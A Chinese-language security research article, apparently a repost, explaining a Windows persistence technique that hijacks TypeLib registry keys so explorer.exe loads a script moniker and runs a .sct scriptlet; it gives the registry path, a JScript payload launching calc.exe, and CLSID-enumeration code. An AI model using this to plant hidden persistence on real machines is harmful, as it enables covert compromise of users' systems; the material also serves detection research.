攻击者使用各种方法来获取计算机上的持久性:自动运行文件夹、计划任务、注册表项。然而,这些方法对于防御者来说非常熟悉,因此很容易被检测到。
还有更多奇特的持久性方法:破坏客户端软件二进制文件(例如 AppDomain 劫持)、过滤器处理程序、应用程序垫片、COM 劫持。
即使保护系统配置正确,这些方法也很容易被检测到。
因此,我决定寻找一些新的持久化方法。研究的对象是 COM(组件对象模型)系统。这个选择并非偶然,它是一个相当古老、不太简单也不太复杂的系统,了解的人并不多。
在本文中,我将介绍 TypeLib 库,了解 TypeLib 与 COM 之间的关系,并使用 TypeLib 实现持久代码执行。
TL;DR
我们发现,用于将 TypeLib 库加载到进程中的LoadTypeLib()函数会查找某些注册表项,以尝试发现目标库的路径。根据文档,如果该函数检测到的是名字对象(COM 对象的字符串表示形式)而不是磁盘路径,则会在进程中加载并执行该名字对象
文档
因此,如果 explorer.exe 调用 LoadTypeLib() 函数,并且我们劫持了名字对象的必要注册表项,则名字对象将在 explorer.exe 内部实例化,并且其代码将被执行。
我还将介绍我们创建的用于检测可被劫持的 TypeLib 的工具TypeLibWalker 。
TypeLibWalker 用法
什么是 TypeLib?
COM 功能通常呈现在特定的文件中:DLL 库或 EXE。然而,如何获取特定 COM 类的文档呢?微软为此推出了 TypeLib。
TypeLib 包含有关 COM 类的信息,该类位于一个文件中。在 TypeLib 中,您可以找到类、接口和方法描述的列表。
您可以通过编程方式使用ITypeLib和ITypeInfo接口与 TypeLib 进行交互。例如,在我们的COMThanasia存储库中,我们使用这些接口来接收有关特定 CLSID 的信息。
PS A:\ssd\gitrepo\COMThanasia\ClsidExplorer\x64\Debug> .\CLSIDExplorer.exe --clsid "{00000618-0000-0010-8000-00aa006d2ea4}"[{00000618-0000-0010-8000-00aa006d2ea4}] AppID: Unknown ProgID: Unknown PID: 1572 Process Name: CLSIDExplorer.exe Username: WINPC\\Michael Methods: [0] __stdcall void QueryInterface(IN GUID*, OUT void**) [1] __stdcall unsignedlong AddRef() [2] __stdcall unsignedlong Release() [3] __stdcall void GetTypeInfoCount(OUT unsignedint*) [4] __stdcall void GetTypeInfo(IN unsignedint, IN unsignedlong, OUT void**) [5] __stdcall void GetIDsOfNames(IN GUID*, IN char**, IN unsignedint, IN unsignedlong, OUT long*) [6] __stdcall void Invoke(IN long, IN GUID*, IN unsignedlong, IN unsignedshort, IN DISPPARAMS*, OUT VARIANT*, OUT EXCEPINFO*, OUT unsignedint*) [7] __stdcall BSTR Name() [8] __stdcall void Name(IN BSTR) [9] __stdcall RightsEnum GetPermissions(IN VARIANT, IN ObjectTypeEnum, IN VARIANT) [10] __stdcall void SetPermissions(IN VARIANT, IN ObjectTypeEnum, IN ActionEnum, IN RightsEnum, IN InheritTypeEnum, IN VARIANT) [11] __stdcall void ChangePassword(IN BSTR, IN BSTR) [12] __stdcall Groups* Groups() [13] __stdcall Properties* Properties() [14] __stdcall _Catalog* ParentCatalog() [15] __stdcall void ParentCatalog(IN _Catalog*) [16] __stdcall void ParentCatalog(IN _Catalog*)[END]
在代码中,我们定义了一个只有两个方法的 TypeLib 类,足以提取 COM 类的函数签名。
您还可以使用TypeLibInfoTool探索 TypeLib 。
https://github.com/fedapo/TypeLibInfoTool
示例输出
什么是绰号?
名字对象是 COM 对象的字符串表示形式。字面意义上来说,它与 COM 对象相同,只不过是一个简单的字符串。
更准确地说,名字对象是一种通过特殊名称来标识 COM 对象的方式。名字对象的功能也可以在 DLL 中实现。
黑客会使用不少 Moniker 来完成攻击任务。例如,LeakedWallpaper项目就是一个针对 Windows 系统的本地权限提升 (LPE) 漏洞,它滥用了会话 Moniker。此外,还有一些Elevation Moniker可以用来绕过用户账户控制 (UAC)。
LeakedWallpaper 中的 Session Moniker 使用
还有一些常见的名字对象,它们没有特别的功能。这就是类名字对象 (Class Moniker)。类名字对象允许你通过 CLSID 启动 COM 对象,仅此而已。以下是类名字对象的一个示例。
“clsid:a7b90590-36fd-11cf-857d-00aa006d2ea4:”
链接 COM 和 Typelib
COM 类是如何链接到 TypeLib 的?在 COM 对象键中,有一个名为 的键TypeLib。
TypeLib 键
例如,在本例中,有一个 CLSID 为 的 COM 对象{EAE50EB0-4A62-11CE-BED6-00AA00611080},它与 TypeLib ID 为 的 TypeLib 库相关联{0D452EE1-E08F-101A-852E-02608C4D0BB4}。TypeLib 库的版本在键 中定义Version。
版本密钥
如果进程需要与此 COM 类关联的 TypeLib,则进程将开始查看这些注册表项以发现 TypeLib 的路径。
HKCU\Software\Classes\TypeLib\<TypeLibID>\<Version>HKLM\Software\Classes\TypeLib\<TypeLibID>\<Version># Ex HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{0D452EE1-E08F-101A-852E-02608C4D0BB4}\2.0
0发现后,TypeLib 被加载到 key ->architecture ( win32/Win64)->路径上Default Value.
类型库的路径
找到的路径会被传递给 LoadTypeLib() 函数。这正是技巧所在。如果该函数接收到名字对象作为输入,它就会执行该名字对象。这样,我们就可以劫持注册表中的一个值,并强制进程执行我们的代码。唯一的难点在于,我们需要确定进程正在加载哪个 TypeLib 库。
选择正确的昵称
假设我们已经学会了如何强制进程加载我们想要的绰号。但是我们应该使用哪个绰号呢?
于是,我开始研究。网上没有现成的 Windows 名字对象列表。然而,这对研究人员来说从来都不是问题。根据文档,名字对象是指所有实现 IMoniker 接口的对象。而名字对象本身实际上与 COM 对象相同。那么,是什么阻止我们创建一个对象,然后调用 QueryInterface() 并检查该对象是否具有 IMoniker 接口呢?没有!继续写代码吧!
#include<windows.h>#include<iostream>#include<objbase.h>#include<combaseapi.h>#include<objidl.h>#include<atlbase.h>LONG WINAPI MyVectoredExceptionHandler(PEXCEPTION_POINTERS exceptionInfo){std::wcout << "Wow!! Something had broken" << std::endl;return EXCEPTION_CONTINUE_EXECUTION;}boolInitializeCOM(){ HRESULT hr = CoInitializeEx(nullptr, COINIT_APARTMENTTHREADED);return SUCCEEDED(hr);}boolDoesObjectImplementIMoniker(REFCLSID clsid){ IMoniker* pMoniker = nullptr; IUnknown* pUnknown = nullptr; HRESULT hr = CoCreateInstance(clsid, nullptr, CLSCTX_INPROC_SERVER, IID_IUnknown, (void**)&pUnknown);if (SUCCEEDED(hr) && pUnknown) { hr = pUnknown->QueryInterface(IID_IMoniker, (void**)&pMoniker);if (SUCCEEDED(hr)) { LPOLESTR wsclsid = nullptr; hr = StringFromCLSID(clsid, &wsclsid);if (SUCCEEDED(hr)) {//std::wcout << L"CLSID:" << wsclsid << std::endl; pMoniker->Release(); pUnknown->Release(); CoTaskMemFree(wsclsid);returntrue; } } pUnknown->Release(); }returnfalse;}voidEnumerateAllCLSID(){ HKEY hKey;if (RegOpenKeyEx(HKEY_CLASSES_ROOT, L"CLSID", 0, KEY_READ, &hKey) == ERROR_SUCCESS) {wchar_t clsidStr[39]; DWORD index = 0; DWORD size = sizeof(clsidStr) / sizeof(clsidStr[0]);while (RegEnumKeyEx(hKey, index, clsidStr, &size, nullptr, nullptr, nullptr, nullptr) == ERROR_SUCCESS) { CLSID clsid;if (CLSIDFromString(clsidStr, &clsid) == S_OK) {if (DoesObjectImplementIMoniker(clsid)) { LPOLESTR wsclsid = nullptr; HRESULT hr = StringFromCLSID(clsid, &wsclsid);if (SUCCEEDED(hr)) {std::wcout << L"Object with CLSID " << wsclsid << L" implements IMoniker" << std::endl; } } } index++; size = sizeof(clsidStr) / sizeof(clsidStr[0]); } RegCloseKey(hKey); }}intmain(){if (AddVectoredExceptionHandler(1, MyVectoredExceptionHandler) == nullptr) {std::wcout << L"[-] Failed to add the exception handler!" << std::endl;return1; }if (!InitializeCOM()) {std::cerr << "Failed to initialize COM" << std::endl;return1; } EnumerateAllCLSID(); CoUninitialize();return0;}
此代码从 HKCR 获取所有可用的 CLSID,然后检查对象上是否存在 IMoniker 接口。
研究中…
实验发现,某些对象无法创建,或者会导致进程崩溃。我在开发 COMThanasia 项目时就遇到过这种情况。但是,我懒得修复这段代码。我决定找出检测到的 CLSID 所特有的特性。
嗯…有趣的名字
看看这个名字多有趣?ClassMoniker. Moniker……嗯……这真的是实现IMoniker接口的COM类的显著特征吗?
OleViewDotnet 有一个方便的功能,可以按名称对 CLSID 进行分组。我用过这个功能,发现很多类都实现了名字对象。
绰号
在这些类的列表中,发现了一个名为“Moniker to Windows Script Component”的类。
有趣的绰号
在尝试查找 Windows 脚本组件系统的示例文件时,我偶然发现了一个资源,其中描述了这些基于 XML 的文件,其中包含操作。这些文件支持脚本标签,您可以在其中指定 JScript 代码。
<?XML version="1.0"?><package><?component error="true" debug="true"?><comment> This skeleton shows how script component elements are assembled into a .wsc file.</comment><componentid="MyScriptlet"><registrationprogid="progID"description="description"version="version"clsid="{00000000-0000-0000-000000000000}"/><referenceobject="progID"><public><propertyname="propertyname"/><methodname="methodname"/><eventname="eventname"/></public><implementstype=COMhandlerNameid=internalName> (interface-specific definitions here)</implements><scriptlanguage="VBScript"> <![CDATA[ dim propertyname Function methodname() ' Script here. End Function ]]></script><scriptlanguage="JScript"> <![CDATA[ function get_propertyname() { // Script here. } function put_propertyname(newValue) { // Script here. fireEvent(eventname) } ]]></script><objectid="objID"classid="clsid:00000000-0000-0000-000000000000"><resourceID="resourceID1">string or number here</resource><resourceID="resourceID2">string or number here</resource></component></package>
我们可以删除一些细节,只留下有用的 JScript Payload。
Payload 的基础信息来自这里。
https://learn.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms525369(v=vs.90)
<?xml version="1.0"?><scriptlet><Registrationdescription="CICADA8 RESEARCH"progid="CICADA8"version="1.0"></Registration><scriptlanguage="JScript"> <![CDATA[ var WShell = new ActiveXObject("WScript.Shell"); WShell.Run("calc.exe"); ]]></script></scriptlet>
如果我们使用脚本名字对象指向该文件,则该名字对象的创建将导致进程运行。
UPD:如果您在使用该有效载荷时遇到一些问题,请尝试使用下一个:
<?xml version="1.0"?><scriptlet><registrationdescription="explorer"progid="explorer"version="1.0"classid="{66666666-6666-6666-6666-666666666666}"remotable="true"></registration><scriptlanguage="JScript"> <![CDATA[ var WShell = new ActiveXObject("WScript.Shell"); WShell.Run("calc.exe"); ]]></script></scriptlet>
找到合适的目标
剩下的就是检测一个加载了我们可以篡改的库的进程。我打开了进程监视器,添加了过滤器……然后发现 explorer.exe 一直在尝试加载一些 TypeLib 库!
通过进程 explorer.exe 加载 TypeLib
让我们以结果中具有 NAME NOT FOUND 状态的路径为例。
路径是 HKCU\Software\Classes\TypeLib\{EAB22AC0–30C1–11CF-A7EB-0000C05BAE0B}\1.1。如你所见,没有这样的路径。让我们创建一个。
缺失路径
我们要做的就是通过指定 .sct 文件的路径来恢复此路径。
关键示例
下次我们启动或关闭 explorer.exe 进程时,我们的代码就会被执行。explorer.exe 是一个在系统启动时自动启动的进程,所以我们又找到了另一种方法来获得持久性!
坚持有效
TypelibWalker
但是,如果您不想一直使用 Process Monitor,那么您可以尝试劫持所有您有写入权限的类型库。TypeLibWalker工具允许您自动检测可能被劫持的、存在漏洞的注册表项。
使用示例
该程序还会检查磁盘路径的写入权限。您可以将后门留在合法的 TypeLib 库中。
劫持磁盘上的类型库
原文始发于微信公众号(Ots安全):劫持 TypeLib 新的 COM 持久性技术
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论